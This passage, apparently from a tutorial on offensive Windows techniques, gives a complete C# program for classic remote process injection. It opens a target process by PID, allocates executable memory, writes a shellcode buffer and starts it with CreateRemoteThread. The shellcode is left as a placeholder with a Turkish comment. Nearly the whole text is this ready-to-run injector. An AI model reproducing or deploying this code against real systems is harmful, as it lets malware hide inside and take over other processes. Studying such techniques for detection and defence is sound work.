The same style of injection can be used on other processes as well. An additional step is required where we must obtain a handle to the target process by its process ID (PID).
internal class ClassicRemoteInjection
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(
uint dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
const uint PROCESS_ALL_ACCESS = 0x1FFFFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint INFINITE = 0xFFFFFFFF;
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage: Program.exe <pid>");
return;
}
byte[] shellcode = new byte[] { /* shellcode baytlarınız buraya */ };
int pid = int.Parse(args[0]);
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine($"OpenProcess unsuccessful. Error: {Marshal.GetLastWin32Error()}");
return;
}
IntPtr hMemory = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (hMemory == IntPtr.Zero)
{
Console.WriteLine($"VirtualAllocEx unsuccessful. Error: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
if (!WriteProcessMemory(
hProcess,
hMemory,
shellcode,
(uint)shellcode.Length,
out IntPtr bytesWritten))
{
Console.WriteLine($"WriteProcessMemory unsuccessful. Error: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
uint threadId = 0;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
0,
hMemory,
IntPtr.Zero,
0,
out threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine($"CreateRemoteThread unsuccessful. Error: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
}